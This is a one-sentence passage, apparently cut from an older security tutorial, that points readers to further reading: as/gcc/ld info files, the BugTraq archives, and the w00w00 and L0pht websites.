Other good sources of info include: as/gcc/ld info files (/usr/info/*), BugTraq archives (http://www.geek-girl.com/bugtraq), w00w00 (http://www.w00w00.org), and L0pht (http://www.l0pht.com), etc.